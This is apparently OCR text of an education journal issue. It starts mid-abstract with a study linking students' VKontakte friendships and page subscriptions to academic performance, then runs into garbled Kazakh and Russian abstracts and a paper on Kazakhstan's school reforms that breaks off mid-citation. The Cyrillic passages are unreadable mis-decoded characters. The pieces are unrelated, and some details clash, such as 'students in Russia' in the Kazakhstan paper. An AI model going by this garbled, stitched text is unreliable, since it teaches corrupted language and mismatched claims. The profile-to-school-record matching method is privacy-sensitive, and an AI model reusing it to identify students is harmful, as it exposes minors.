pupil can break off the relations with the classmate who receives low marks and to seek to form new commu-
nications within the time pupils. The social and economic situation connected with sharp changes in the life of
people does relevant problems of harmonious development. Especially problems of success and mental health of
children and teenagers in modern society became aggravated.

Keywords: social environment, social networks, internet, academic performance, co-education.

Scientific tools have always played an important role in the scientific progress. The invention of the
telescope opened a new vast world of celestial bodies. Observations of the planetary motion laid the
foundation of the classical mechanics and gave the rise to physics as a science in the modern sense. The
invention of the microscope opened a new vast world of microorganisms and laid the foundation of the
modern biology and medicine. Today, we observe comparable changes in the social science. In place of
optical instruments are methods of collecting and analyzing digital traces, vast amounts of data made
available by the recent development of information technology.

Digital traces allow researchers to see what was previously hidden from them. For instance,
educational researchers have long been studying social relationships between students. However, for a
long time, the only method for collecting the data on students’ social ties was survey. Surveys only allow
reconstructing the social network of a small closed group of people. As a result, researchers well
understand the social networks of students within one school but know almost nothing about interschool
social ties. In contrast, Facebook has information about friendship ties of two billion people. Information
about social ties need not necessarily be explicitly indicated, as in the case of friendship on a social
networking site. It can effectively be reconstructed from phone calls logs or from information about
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physical proximity from mobile sensors. The direct access to information about human behavior also
resolves the problem of censoredness and social acceptability characteristic of survey answers.

Another advantage of digital traces is a significant reduction in the cost of research. The largest
international study on education PISA covers about 500,000 students. Its organization requires a large
amount of resources and coordinated effort from dozens of teams in different countries. At the national
level, studies with several thousand participants are considered as large. The thesis could be successfully
completed with hundreds or even dozens of respondents. Data from social networking sites allow indi-
vidual researchers to work with much larger samples up to tens of millions of participants. Data need not
necessarily to be accessible directly. It was previously shown that various socio-demographic charac-
teristics such as ethnicity, gender or income level could be effectively predicted from tweets, profile
images, user posts, or photos of neighborhoods.

Traditionally, social sciences make an emphasis on theories and their ability to explain human be-
havior while ignoring their predictive power which is often much inferior to natural sciences. This
significantly limits the possibility of practical application of such knowledge. One of the reasons for the
weak predictive power lies in the fact that social systems and the laws that govern them are too complex to
be described by simple variables. For instance, a variable with a few discrete values cannot describe the
wide variety of personal characteristics and human behavior even in theory. Today, thanks to big data, one
could construct new variables with much greater predictive power. For instance, it has been shown that
information about the likes on a social networking site allows to predict various personal traits from sexual
preferences to intelligence and parents’ divorce. While individual likes do not have much predictive
power, together they form a unique digital trace that contains a significant amount of information about an
individual.

Thus, the use of digital traces for studying the human behavior is one of the most promising and
actively developing areas in the social science. This approach has a great potentiation in the education
science as well. In the Russian context, the most promising source of data is the social networking site
VK, that is already been used in educational research. VK is of particular interest not only because it
provides an access to a vast amount of data but also because of its role in the lives of modern students.

Today, young people are almost always online and spend most of their online time on SNSs. Recently
SNSs have become the main source of traffic to other resources of the Internet. In Russia, the largest SNS
VKontakte (VK) is named as the main source of information about the country and the world by 70.3% of
young people, more than any other source of information. This SNS is also more trusted by young people
than traditional media. Thus, VKontakte largely determines the information environment of modern
Russian students. That is why it is particularly important to study the nature of this environment and to
understand whether it is different for different groups of students.

This work is devoted to the development of methods for mining and analyzing VK data in the context
of educational research. These methods are applied to study differentiation of students by academic
performance. The need to develop the methods is due to the fact that little is known about the reliability of
the data and the potential biases of VK samples and that analysis of big multidimensional data requires
special approaches. The differentiation of students on a social networking site is of particular importance
in the context of digital inequality.

Theoretical framework. The authors of the concept of digital inequality note that one generalization
that emerges from research on inequality in access to information about cultural resources is the
differentiation principle. This principle means that at the beginning — when access to a particular resource
is limited — the use of this resource remains relatively undifferentiated. When the resource becomes more
accessible, its use becomes more differentiated. It is explained by the fact that more-privileged groups find
a way to use the resource to extract more from it than less-privileged groups.

The typical example here is education. When access to secondary education became almost universal,
most children from the middle and upper classes started to attend universities. At that point, university
degrees became the main differentiating characteristic. When higher education became widespread, two
groups of universities emerged: mass universities and selective universities, and the main differentiating
characteristic shifted from having any higher education degree to graduation from the prestigious uni-
versity.
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The same principle applies to digital resources. In theory, the global network provides all students
with equal access to virtually unlimited knowledge. However, as early as the mid-1990s, researchers
became concerned about the digital divide between those who have or do not have access to computers
(later to the Internet). When the Internet became ubiquitous, the concern was about the second digital gap
related to the gap in the level of information literacy and the ability to use all the opportunities that are
provided by the Internet. Today, the main focus is shifted to a broader concept of digital inequality, which
is understood as the difference in the Internet use (or the use of any other digital technology) between
groups of people who have formally equal access to it.

The existing research suggests that there are significant differences in the Internet use between users
with different levels of formal education. More educated people often use the Internet for capital-
enhancing activities (such as job seeking, seeking for medical or professional advice, and acquiring new
knowledge) while lower educated people use it predominantly for entertainment. It was also found that
students with low socioeconomic status enroll less often in online courses and if they are enrolled then
they successfully complete it less often than their peers.

In most cases, the comparison is made between broad socio-demographic groups (such characteristics
as gender, level of education, etc. are analyzed). The information about the use of the Internet is obtained
from surveys. In our work, we suggest using much more detailed data namely the information about the
academic performance of students and detailed information about their actual behavior on a social
networking site. The aim of the study is to develop methods for mining and analyzing VK data and to
apply these methods to understand the nature of the relationship between students' behavior on the SNS
and their academic

Methodology and design of the study. For the purposes of the study, we developed a software
program that performs queries to the VKontakte API and receives a list of all users of a certain age who
indicated that they are studying at a given educational organization. The program matches and merges
information from user profiles with information about students from the educational organization. After
the merge, the data is anonymized and stored for later research.

A direct matching by first and last name allows identifying only a small proportion of the students.
That is why we additionally created an extensive dictionary of various forms of the same name (for
example, Ivan-Vanya-Vanyusha), and also developed an algorithm for matching names that are written in
Latin and Cyrillic. The program searches not only among users who indicated that they are studying in a
given educational organization but also among their friends on the social network.

In the case when information about students was not available, we excluded from the sample those
users who did not have friends from their own educational organization. This approach allows one to
efficiently filter out profiles with inaccurate information.

We use this method to collect four unique data sets that combine educational data with data on the
online behavior of students.

The latest sample includes participants of a longitudinal panel study “Trajectories in education and
career” who agreed to provide their personal information for research purposes.

To study the relationship between the structure of friendship ties and the structure of educational
organizations, we compute modularity Q for partitions of the entire network corresponding to the partition
of a school into grades and buildings and the partition of a university into years of studies, educational
programs, and campuses. To ensure that observed values of Q cannot be explained by random noise, we
use a permutation test. We fixed the structure of a network and randomly permute the attributes of nodes
(i.e. school grades, educational programs, etc.). We then computed Qrand for such a random network.
Comparison of 10 000 generated Qrand values with Q allows us to compute the significance level for the
observed results. To study the relationship between the structure of friendship ties with geographical
distances, we analyze the relationship between the probability of the friendship tie between two schools
and the distance between them.

To investigate the detailed evolution of social ties within an educational organization, we use
information about the interaction between students instead of information about their friendship ties. We
split the period of the study into 3-month intervals and then for each of the intervals we built a network of
social ties. We assume that the tie between two users exists if one of them gives at least one “Like” to
another on VKontakte during this period. We then compute the Pearson correlation coefficient between
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the academic performance of students and the average academic performance of students connected to
them. This approach allows us not only to determine the level of differentiation of social ties by academic
performance but also to track its evolution with time.

The level of social ties differentiation on a city scale was estimated by computing a correlation
coefficient between the average USE scores of graduates of a school and the average USE scores of
graduates from schools with which this school is connected on the SNS. Two schools are considered
connected on SNSs if there is at least one friendship tie between their students on such sites. To ensure
that any observed effect is not driven by geographical locations of schools, we use a random graph model
that preserves the relationship between the probability of a friendship tie between schools and
geographical distance between them.

We analyze the interests of VKontakte users using information about their subscriptions to various
public pages (groups) on the SNS. We compute the average GPA for subscribers to different pages along
with their average age and proportion of females among them. To show that there is a correlation between
interests and academic performance, we build a model that can predict academic performance from
information about subscriptions. We identify the main components containing information about students’
interests and then use them in a linear regression model to predict academic performance.

Main results.

Table 1 — Information about users

PARTICIPANTS 3th 4th 5th
Percentage of students identified 85% 89% 88%
Percentage of students who did not indicate their school 64% 72% 69%
Percentage of students who used alternative forms of their names 39% 36% 29%

Table 2 — Groups of school students differing in the way of presenting their personal data on VK,
by gender and academic performance

Girls ratio GPA
Identified on VK 46% 3.80
Not identified on VK 48% 3.79
Those who did not indicate their school 48% 3.77
Those who used alternative forms of their names 50% 3.79

Information about friendship ties allows to effectively filter out fake profiles. By one of our esti-
mates, the number of fake profiles could be reduced from 66% to 8% on the “School” sample if users who
do not have friends from this school are excluded.

Table 3 — Percentages of identified VK users for different city sizes

Type of city Females Males
Rural-type settlement 68% 83%
Urban-type settlement 86% 93%
Astana 83% 87%
Almaty 78% 73%

We show that online social ties of students from an educational organization are differentiated by
academic performance, namely that students with similar academic performance are interacting more
frequently online. We also find that the level of this differentiation increases with time. We show that this
increase cannot be explained by changes in academic performance but rather is explained by rewiring of
social ties. Less-similar students break social ties with higher probability and more-similar students create
new ties with higher probability. These results are presented in.
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We also study the social ties of students on a city scale. We show that the probability of a friendship
tie on VK between students from different schools is higher for the schools with similar academic
performance. These results hold true regardless of the geographical distance between schools. Hence,
schools are segregated in the digital space despite the absence of geographical segregation.

Differentiation of interests in the digital space. We find that students’ interests are correlated with
their gender (for instance, boys prefer public pages related to football and computer games), age (for
instance, older students are interested in graduation examinations) and also with their academic
performance. Low-performing students are subscribed to such pages as “Love Horoscope” and
“Unorthodox Horoscope” while high-performing students prefer such pages as “Interesting facts” and
“The best poems of great poets”.

We also show that online interests could explain as much as 25% of the variation in academic
performance of students. This is comparable to the percentage of variation that can be explained by the
socioeconomic status of students. The gap in educational outcomes of subscribers to different groups (for
instance “World Art and Culture” and “Love Horoscope™) could be equivalent to two years of formal
schooling (table 4).

Table 4 — Names of public pages that contribute most to the academic component of users’ interests.
Names are translated from Russian. Mean values of subscribers’ scores with standard errors (in parentheses)
are provided for each of three PISA subjects

Attitudes | Mathematics ‘ Reading ‘ Science
Positive contribution
WAC (World Arts and Culture) 538 (4.6) 530 (4.5) 532 (4.3)
Science 521 (4.2) 502 (4.1) 516 (3.8)
Best poems of great poets 509 (4.0) 507 (4.0) 508 (3.9)
Science and Technology 507 (4.1) 479 (4.3) 504 (4.0)
Five Best Movies 505 (3.9) 492 (3.9) 503 (3.7)
Negative contribution
F*CK 473 (3.3) 449 (3.4) 472 (3.2)
Killing humor 471 (5.1) 447 (5.1) 471 (4.7)
Cool Gags 467 (4.9) 444 (5.1) 465 (4.9)
Unorthodox Horoscope 462 (5.1) 450 (5.3) 460 (5.0)
Love Horoscope 450 (5.3) 442 (5.8) 453 (5.2)

These results could be summarized as the following:

— the method we propose allows to extract reliable information from VK and to combine it with
educational data; resulting data could be used to study social ties of students and their interests;

— the structure of online friendship reproduces the structure of educational organizations; the social
proximity in the digital space is closely related to the geographical proximity; the probability of a
friendship tie between students from different schools declines with geographical distance following
power law;

— social ties of students are differentiated by academic performance in the digital space; students with
similar performance create ties with higher probability and students with dissimilar performance break ties
with higher probability; the students from similar performing schools are more often connected on a social
networking site regardless the geographical distance between schools;

— students’ interests are differentiated by academic performance in the digital space; the gap in
educational outcomes of subscribers to different public pages could be equivalent to two years of formal
schooling.

Conclusion. For the purposes of this work, we use only publicly available information from the
social networking site. The VK team confirmed to us that this data can be used for research purposes. The
matching of VK profiles with information about students was done automatically, after matching the data
was anonymized and later used for analysis only in this anonymized form.
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It is important to note that new sources of data not only opens up new opportunities for researchers
but also raise new ethical questions. For instance, the notion of informed consent requires special atten-
tion. By accepting terms of service users of social networking sites agree that information about them
could be accessed by third parties and used for a variety of unspecified purposes. However, it is not clear
if such consent could be considered as informed. Especially considering the fact that terms of services are
rarely read and if read then users may still not fully understand all the consequences of their consent. For
example, it was shown that digital traces allows to effectively predict information that users did not dis-
close and may prefer not to be known by others. Despite the appearance of the first ethical guidelines this
field is still largely a grey zone and requires additional attention from the research community.

We have conducted the first large-scale study that combines detailed information about the behavior
of students on VK with educational data. We introduced methods that could increase the reliability of VK
data and provided estimates for sample biases. We introduced a novel approach to studying the evolution
of students’ social ties that did not require to conduct expensive longitudinal studies. We showed how
publicly available information from SNSs could be used to infer information about students’ interests and
that this information could have a large predictive power in respect to various students’ characteristics
including their age, gender, and academic performance. These results are important for further educational
research because our methods could be adopted by other researchers and have already been used in
various works.

For the first time, the structure of students’ friendship ties have been studied on a city scale and the
relationship between inter-school friendship and geographical distance has been revealed. We also studied
the evolution of social ties of students within educational institutions and showed that the differentiation
of these ties by academic performance increased with time. We explained the mechanisms behind this
phenomenon with a simple model. We showed that there was a differentiation of students’ online interests
by academic performance and, for the first time, provided an estimate of the gap in educational outcomes
between subscribers to various public pages.

We showed that social ties of students and their online interests had a large predictive power in
respect to academic performance. The variables that were constructed by us explained as much variation
in educational outcomes (for individual students and for whole schools as well) as the socioeconomic
status measured by traditional indexes such as the index of economic social and cultural status (ESCS)
used by PISA. This allows one to use constructed variables for operationalization of social and cultural
capital of students (at least for its digital dimension). Traditional indexes include such variables as parents’
level of education and number of books at home. Such variables have a low resolution (e.g. parents’ level
of education) or disputable face validity in the modern world (e.g. a number of books at home). Another
advantage of our approach is that it shifts focus from family characteristics to characteristics of students
themselves.

It is important to note that our results do not give an answer to the question of whether the observed
differentiation leads to amplification or reproduction of inequality. We also do not study any effects that
families might have on the observed differentiation. Further research might seek answers to these
important questions.

Our results may have implications for the practice of education due to the important role that SNSs
play in the life of modern students. The main component of the SNS is a newsfeed that is constructed from
information posted by friends and from subscriptions to various public pages. We showed that both of
these sources are differentiated by academic performance. It means that everyday digital flow of in-
formation is fundamentally different for students with varying academic performance. This fact should be
taken into account by teachers in their everyday practice. The digital environment of students is out of the
control of traditional pedagogical tools; however, teachers could influence it. For instance, one of the main
features of modern SNSs is recommendation algorithms that suggest new information based on the history
of users’ behavior. Our research showed that this might lead to information bubbles of horoscopes and
cool gags for low-performing students. Teachers, however, might ask their students to find some educa-
tional information on SNSs or elsewhere on the Internet. This student activity will lead to digital traces
that later could be used by recommendation algorithms to show students new information that might be
more enriching than information that would be shown without intervention. Development of similar
pedagogical interventions along with studying of their potential impact may be a logical continuation of
our work.
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I9JIEYMETTIK 9QKOHOMMKA —
AKAJEMMUSUIBIK BIJIIM BEPYITH JAMYbBIHBIH HEI'T3I'T ®AKTOPbBI

AnHoTauusi. XaJbIKTBIH OMipiH TyOereiiti e3repTeTiH FBUIBIM MEH TEXHHKAHBIH KapKBIHIBI JaMybl, jKaHa
aKImapaTThlK TEXHOJIOTHSUIAP/BIH MHaiaa OOoJybl ajamjapra >kaHa akmapaTThl YHEeMi i3[eCTipy/i JKOHe Hrepy/i,
OUTIKTLTIKTI apTTHIPY/IBL, )KaHA MaMaHABIKTapIbl MEHIePYAl KaXKET eTei. Y3/iKCi3 OLTIM IIBIHIBIKKA aifHATAIbI )KOHE
aJaMHBIH OMipiHe oTe KaxkeT. bykapanbIKk aknmapaT KypajlaapblHBIH JKOHE HHTEPHETTIH JaMysl OuTiM Oepy Mekeme-
CIHIH OKYIIBI YIIiH OiiM MEH aKmapaTTHIH aJFbI3 Ke3i O0OMybIH TOKTaTambel. Kazipri OiTiM axymibuiapaslH ajJaThiH
aKmapar arblHBI COHIIAIBIKTHI 30p, OHBI TaHIAY KOHE OHBI ©3 KhI3METIHAE KOJNTaHyAa Oardapiiay MYMKIHZIT epe-
CEKTEePIiH KOMETIHCI3 MYMKIH eMec.

Kana OimiMIl MHTErpanusIiay, JKaNbUIay, MEHrepy OaJlaHbIH OKYy KaOlIeTiHIH KaJbITacybl (©31H-631 OKBITY)
Heri3iHae eMipiik ToxipuOeciMeH OalnaHbICTBIPY — OYTIHIT MEKTENTerl eHIHOpCe aIMAcThipa aMaWThIH MIHJET.
Bacraysiin 0i1iM OapJibIK KaJIibl XKOHE Ke3 KeJIreH KociOu OuTiMHIH Heri3i 0okl TaObutaabl. bactayblin MekrenTeri
OiTiMHIH KETICTIr Kol jaF/iaiiia aJaMHbIH TaFJbIpbIH, OHBIH OOJNaliaK eMipiH alKbIHIAAaWabl, OHTKeHI OacTayblil
OiniM Oepy omeTTe JKachlHA Kapai, aJlaMHBIH XKEKE TYIFAChl HETi31H/e KalbITacaapl. KenrereH sMIUPHUKAIBIK 3epT-
TeyJepJe OKYIIBUIAPIBIH AJICYMETTIK OPTachl OJIAPIBIH aKaJIeMUSUIBIK HOTIDKEICPIHE OCEPiH TUTI3M1, al ¢H TaOBICTHI
KypOBLIapBIHBIH dcepi dNIeKaiIa KymTi Oonansl. AxaMaapMeH, epeceKTepMeH HeMece KYPIacTapbIMEeH apaiacyIblH
JKeKe ToXkKiprOeci OamaHbIH jkeke OaChIHBIH JaMybl MEH CaHA-Ce31MiHiH KalbINTacybIHa Heri3 Oombin Tadsuiaabl. Kimri
JKacTarbl OKYIIBI OYJI TYPFBIAH a3 3ePTTENEl KIHE KEKE TYJIFaapasblK KapbIM-KAThIHAC JaMYbIHBIH TC€HETHKAIBIK
JKelmiciHae amblK Ke3eH 0oibn Kama Oepeni. doctypii Typae OimiM Oepy KpI3METi OCHI )KacTarbl Oajlara JKETEKIIi
OOJIBIN CcaHANATBIHABIKTAH, OChl XKAaC KE3CHIHE KaThICThl 3ePTTEYJIEp €H aJJbIMEH OHbIMEH OaiJIaHBICTBI MCHXOJIO-
THSUIBIK KaOleTTepiH 3epTreyre OarpITTaiFaH: OalaHbIH TAHBIMIBIK MYMKIHAIKTEPI, OKY IC-OpEKEeTiHIH KOMIIOHEHT-
Tepi, peduekcus xone T.0. JlerenmeH, cabakra oHrimesnecyleH 0acka, )acTap e3aepi eTe Kypell TyJFaapaibik
KapbIM-KaTbIHACKA TYCEJli )KOHE OChl KaThIHACTAPAbIH IICUXOJIOTHSUIBIK €PEeKLICTIKTEepl KeM 3epTTelelll. OJeyMeTTIK
xeniep Oananap apachlHIarbl KapbIM-KaThIHACKA apHAJFaH jkaHa ajaH OOJIbIl TaObUIAAbI, MYHJIA KIMMEH JKOHE
KaHs1ail OananapMeH KapbIM-KaTblHacTa OOJIaThIHBIH Oiyre 0oJa bl
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COLMAJIBHAS CPEJJA KAK K.JIIO‘IEBOI‘/‘I DAKTOP
PA3BUTUA AKAJEMUYECKOU YCIIEBAEMOCTH

AnHotanusi. CTpeMUTENbHOE PA3BUTHE HAYKH M TEXHHWKH, CO3IaHHE HOBBIX MH(OPMAIOHHBIX TEXHOJOTHUH,
KOPEHHBIM 00pa3oM NpeoOpasyroniux KU3Hb JIIOJEH CO3/1aeT HEOOXOAMMOCTh B TIOCTOSIHHOM IIOWCKE M YCBOSHHH
HOBOM MH(OPMAINH, MOBBIMICHNH KBAIN(HUKALNK, OBIaIeHIN HOBBIMH npodeccusamu. HenpepriBHOE 0Opa3oBanne
CTaHOBUTCS PEaTbHOCTHIO M HEOOXOIMMOCTHIO B JKM3HHU denoBeka. Pazsutne CMU u cetn VHTEpHET NMPUBOINUT K
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TOMY, YTO 00pa30BaATEIbHOE YUPEKICHUE MIEPECTACT ObITh CAMHCTBEHHBIM HCTOYHUKOM 3HAHUN U MH(OPMALUH IS
mkosnbHUKA. [T0TOK MH(DOpMAILIUK, KOTOPHI MOJYYalOT COBPEMEHHbBIC YUYaIllUeCs HACTOJIBKO OIPOMEH, YTO YMEHHE
OPHEHTHPOBATHCS B €€ 0TOOpE M MPUMEHEHHE B CBOCH AEATEIbHOCTH HEBO3MOXKHBI O3 MOMOIIM B3pOCibiX. MHTe-
rpauusi, 0000IIeHHe, OCMBICIICHHE HOBBIX 3HAHWMH, YBS3bIBAHHE MX C JKU3HEHHBIM OIBITOM peOCHKa Ha OCHOBE
bopmupoBaHUs yMeHUsT yUNUThCS (YUUTH ce0s1) — BOT Ta 3ajada, B PEIIEHUH KOTOPOH IIKOJIE CETOIHs 3aMEHBI HET.
HauansHoe oOpa3oBaHHe — 3TO ()yHIAMEHT BCero JajbHeiiniero oduiero u joboro npodeccruoHansHOro oopaso-
BaHUs. Y CIEIIHOCTh O0YYCHHs B HAYaJIbHOM IIIKOJIE BO MHOT'OM OIPEICIISET CyIb0Y YeloBeKa, ero OyAyIlyo )KU3Hb,
MOCKOJIBKY UMEHHO B TOM BO3pacTe, B KAKOM O0BIYHO MPOBOIUTCS HaualbHOE 00pa3oBaHue, HOpMUPYIOTCS Oa30BbIC
OCHOBAHHS JIUYHOCTH YeJIoBeKka. B MHOro4yncieHHbIX OMITUPUYCCKUX UCCIICTOBAHUAX 6])1.]'10 IMOKa3aHo, 4YTO colualib-
HOE OKPYKCHHUE YUAIUXCs BIMSIET HA UX aKaJeMUICCKHE PE3yIbTAThI, IPUYCM BIUSHIE HanOOJIee YCIEIIHBIX CBEP-
CTHUKOB TOpa3io cuibHee. ONbIT MEXIMYHOCTHBIX OTHOIICHHWH C JPYTHUMH JIFOJBMH, B3POCIBIMUA HMJIM CBEPCTHH-
KaMu, SBISICTCS (DyHIaMEHTOM JUIsl pa3BUTHS JTHYHOCTH peOCHKAa, CTAHOBICHHS €ro CaMOCO3HaHWs. Miammuit
IIKOJIbHBIN BO3PACT HAMMEHEE U3Y4YEeH C JTON TOYKM 3PEHHS U OCTACTCS OTKPHITHIM MEPHOJOM B T'€HETHYECKOU
JMHUHM Pa3BUTHUSI MEXJIMYHOCTHBIX OTHOIICHHU. [10CKOJIBKY Beayllieil B 3TOM BO3pacTe TPAIUIMOHHO CUHUTACTCS
yueOHast eITelIbHOCTh, TO UCCIIE0BAHMS, KACAIOIIECs JAHHOTO BO3PACTHOTO NMEPHO/1a, ObLTH HAPABIICHBI IPEUMY-
IIECTBEHHO Ha M3YY€HHE TICHXOJIOIMYECKUX CIIOCOOHOCTEH, CBA3aHHBIX C HEW: MO3HABaTENIbHBIX CIIOCOOHOCTEH pe-
OeHKa, KOMIOHEHTOB y4eOHOH IesTenpHOCTH, peduekcun u T.1. Ho, moMumo oOrmieHus Ha ypoke, MIIaAIINe IIKOJIb-
HHUKH BCTYIAIOT B JIOCTATOYHO CJIOXKHBIE MEXKJIMYHOCTHBIE OTHOIICHHS MEXIy COOOM, M ICHXOJOrHYecKue 0CoOeH-
HOCTH PTUX OTHOIIEHHMIH OCTAlOTCSI MEHee N3Yy4YCHHBIM. COL[I/laJ'l])HI)Ie CE€TU SBIAKOTCA HOBOﬁ HHOL[IaLlKOﬁ O6U_leHI/l§I
JIeTei, ¥ 3]1eCh 0CO0YI0 aKTyaJIbHOCTh IPUOOPETAET TO C KEM M KakK JIETH OOLIAI0TCSL.

KiroueBble cjioBa: COIMalibHAs cpela, COIMAlbHBIE CETH, MHTEPHET, aKaJeMHdecKas YCIeBaeMOCTh, CO-
oOyueHme.
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THE MODERNIZATION OF EDUCATION IN KAZAKHSTAN:
TRENDS, PERSPECTIVE AND PROBLEMS

Abstract. The purpose of current reforms in an education system — ensuring its high-quality transformation in
the conditions of the market economy within globalization. Reforming of education demands creation of new legal,
scientific and methodical, financial and material terms and adequate staffing for development of this process from
the preservation of the positive potential which is saved up in this sphere. According to Nazarbayev «100 concrete
steps» education should be one of the crucial areas of development. In particular, the President of Kazakhstan spoke
about the improvement of the quality of the human capital from the standards of the countries of OECD. According
to the large-scale international studies TIMSS and PISA, Kazakhstan students demonstrate high results at subject
mastery level, but they are much less able to cope with tasks embedded in non-mathematical settings. The pupils own
subject contents at quite a high level but cope with the tasks loaded with contextual information much worse. The use
of a real-life context in school education could be a source of a wide range of opportunities both for deeper mastering
of subject and for the developing cognitive skills. In a number of studies it has been shown that the use of a real-life
context in education contributes to problem-solving skills, helps students apply gained in class knowledge to real-life
everyday life and increases their motivation for learning.

Keywords: primary education, modernization, the real-life context, functional literacy, PISA, TIMMS.

Research Problem. The current trends in the education of the Republic cause the necessity of
reconsideration of their role, functions and a place in the general education system, elaboration of new
approaches in their further development.

The highly effective education system is one of the significant factors in providing a steady rise of the
national economy and the Kazakhstan society. The purpose of the new economic and social reforms in an
education system of our state — ensuring its high-quality transformation in the conditions of the market
economy within globalization. Reforming of education demands creation of new legal, scientific and
methodical, financial and material requirements and adequate staffing for deepening and development of
this process from the preservation of the positive potential which is saved up in this sphere.

It is possible to carry out a qualitative education reform in the conditions of dynamic social and
economic changes in society only in the presence of detailed worked strategy considering as the real
situation which developed in education, the accruing tendencies, and the operating relations, and possible
ways of future development of society and state.

Development of the program is dictated by the need for changes in the organizational and economic,
substantial and methodical, legal and social and psychological relations which developed in education. It
along with the existing state and departmental programs in education and its new standard and legislative
providing will make an organizational basis of realization of public policy in education.

In the President's book of Nursultan Nazarbayev to the people of Kazakhstan "Kazakhstan way-2050:
The uniform purpose, uniform interests, the uniform future" it is paid particular attention to education
improvement of quality. The modernization of education is one of the steps which Kazakhstan has to pass
on his way to enter into number 30 of the most developed countries of the world.
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In the conditions of modern dynamic development and the global competition from education, it is
required that it was qualitative and continuous throughout all life. Therefore the task of mastering modern
techniques and programs of training, an increase of the level of teaching, training in demanded knowledge
and skills, such as three - language policy, (Kazakh, Russian, English), professional preparation, analytical
thinking is set for the Kazakhstan education system. We should carry out high-quality reforming of all
system of knowledge acquisition which result has to be an exit to the international standards of education.
Introduction at all levels of training of the principle of duality that will promote fixing at young people not
only theoretical knowledge but also practical skills and abilities of work on the production, including hi-
tech and innovative character is necessary.

"Modernization of an education system in Kazakhstan is expedient on three main directions:
optimization of educational institutions; modernization of teaching and educational process; increase of
efficiency and availability of educational services", — social modernization of Kazakhstan is told in article
of the President of the Republic of Kazakhstan Nursultan Abishevich Nazarbayev ": The twenty steps to
society of general work", published in official mass media.

According to President Nazarbayev, within optimization, it is necessary to strengthen a continuous
vertical of education. It is crucial to restoring logical interrelation of all types of "age" education as full
elevator: preschool, initial, average, professional, the highest and post-high school.

Thus Nursultan Abishevich Nazarbayev emphasized that it is impossible to allow essential gaps as
the educational services provided by private and public institutions of education. The education system
has to remain nationwide.

He noted that, first, it is necessary to take measures for improvement of the quality of the mana-
gement case in the system of secondary education. Secondly, it is essential to adjust control of observance
of the state educational standards at private schools, colleges, and higher education institutions, including
the international.

The state program of development of the Republic of Kazakhstan for 2011-2020 is a new round of
increase of competitiveness of education, construction of the human capital by ensuring availability of
quality education to a steady rise of the economy.

One of the strategically essential directions of modernization of the Kazakhstan education is a
transition to the 12-year model of training. The Ministry of Education revises the state general education
standard of 12 years' education and develops training programs, textbooks for the 9th experimental classes
within the transition to 12 years' training.

Urgent question on the agenda, there is a development and examining textbooks. Expertize of 831
books and EMB is carried out, from them it is recommended to use in educational process 756. Now the
experimental integrated training programs in 15 subjects are developed. The Ministry of Education and
Science of Kazakhstan together with International Bank for Reconstruction and Development realizes the
project on modernization of system of technical and professional education (further — TPE) according to
inquiries of society and industrial and innovative development of the economy, integration into world
educational space.

Nursultan Nazarbayev charged to enter stage-by-stage introduction of 12 years' education, updating
of standards of school training for the development of functional literacy, and also the introduction of per
capita financing in high school and creation of the system of stimulation of successful schools.

According to the State programme of education and science development in 2016-2019, the
transition to 12 years' education is the main priority. The full process will take four stages: since 2016 of
the first classes; since 2017 — the second, fifth and seventh classes; since 2018 — the third, sixth, eighth and
10th classes; since 2019 — the fourth, ninth, 11th and 12th classes. In 2015 the necessary state standard of
education (SOSE) of elementary school was approved.

Since September 1 approbation of GOSO of primary education, textbooks and the educational and
methodical complex (EMC) in the first classes of 30 pilot schools of the Republic of Kazakhstan began.
Since September 1, 2016, the first classes overall country passed to training according to the program of
the 12-year school.

Thus, the transition to the updated content of education began. From the first class entered the new
subject "Natural sciences" (fundamentals of natural sciences) and from the third class — "Information and
communication technologies." It should be noted that since the same year the first classes of schools
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started studying five days in a week. Scientists already scientifically proved that at the reduction of the
duration of educational week productivity of training increases. GOSO from secondary, general secondary
education is provided by the introduction of 12 years' teaching and a three-language policy.

Trilingual training in Kazakhstan will be entered in 2018 and only within the senior classes. It is
meant just in the 10-11th courses in studying subjects which pupils will choose.

The use of a real-life context in school education could be a source of a wide range of opportunities
both for deeper mastering of subject and for the developing cognitive skills. In a number of studies it has
been shown that the use of a real-life context in education contributes to problem solving skills, helps
students apply gained in class knowledge to real-life everyday life and increases their motivation for
learning [Cognition and Technology ..., 1990; Boaler, 1993; Brenner, 1998; Chapman, 2006; Freudenthal,
1973; Gravemeijer, 1994; Pilot, Bulte, 2006].

According to Nazarbayev "100 concrete steps" education should be one of the crucial areas of
development. In particular, the President of Kazakhstan spoke about the improvement of the quality of the
human capital from the standards of the countries of OECD.

According to the large-scale international studies TIMSS and PISA, Kazakhstan students demonstrate
high results at subject mastery level, but they are much less able to cope with tasks embedded in non-
mathematical settings. These results seem to be true both for mathematics and science. To solve PISA
tasks formulated in the context of everyday life, it is necessary to have the modeling skills - that is, to be
able to build a mathematical model of the proposed daily situation [PISA 2012 Assessment..., 2013].
Thus, relatively lower students’ results in PISA compare to student’s results in TIMSS may indicate, that
students in Russia experience difficulties to apply gained in school knowledge in a real-life context.

Such the gap in the students’ TIMSS and PISA results in Kazakhstan could be explained with the fact
how education is organized in Kazakhstan [Bolotov et al., 2012; Kasprzhak and others, 2005]. That is, it
was shown that teacher get insufficient methodological support for the use of real-life context in his
subjects at school [Egurova, 2014; Tyumeneva et al., 2015].

It is important to note that the problem identified on the TIMSS and PISA data is relevant for several
school disciplines such as chemistry, biology, physics and mathematics.

Government standard for education in primary and secondary school emphasizes the growth of "a
value of mathematics and computer science in the daily life of a person". That is, a person should be able
“to model real-life situations in the language of algebra, to study the constructed models by using the
algebra conceptions, to interpret the obtained results" and "to apply the concepts, results, methods for
solving practical problems and problems from related disciplines". The necessity to develop the abilities of
students to use school knowledge in everyday life is emphasized in the "Fundamental core of the content
of general education" as well.

Literature Review. The variety of teaching practices towards real-life context, word problems and
related to them effects for the students’ achievements are widely studied in the literature. The most widely
these questions are considered within the framework of the theory of situational learning [Lave, 1988;
Lave & Wenger, 1991; Greeno, Smith, & Moore, 1992], as well as in the context of the transfer of
knowledge [Lehman, Nisbett, 1990; Gick and Holyoak, 1980; Bransford et al., 1999]. As Russian
literature concerns, learning in context is mainly considered within the framework of vocational education
and higher education [Verbitsky, 1991]. Recently, issues of the learning in a context is discussing within a
competence-based approach to education [Verbitsky, 2016]. A large number of works have been devoted
specifically to the use of real-life context in math education: V.V. Firsova, .M. Shapiro, M.V. Egupova, J.
Boaler, L. Verchaffel, E. De Corte, as well as dissertations, for example, L.E. Haimina, V.P. Kizilova,
N.V. Reshetnikova.

Following aspects of using a real-life context in education are studied: teaching practices [Greeno et
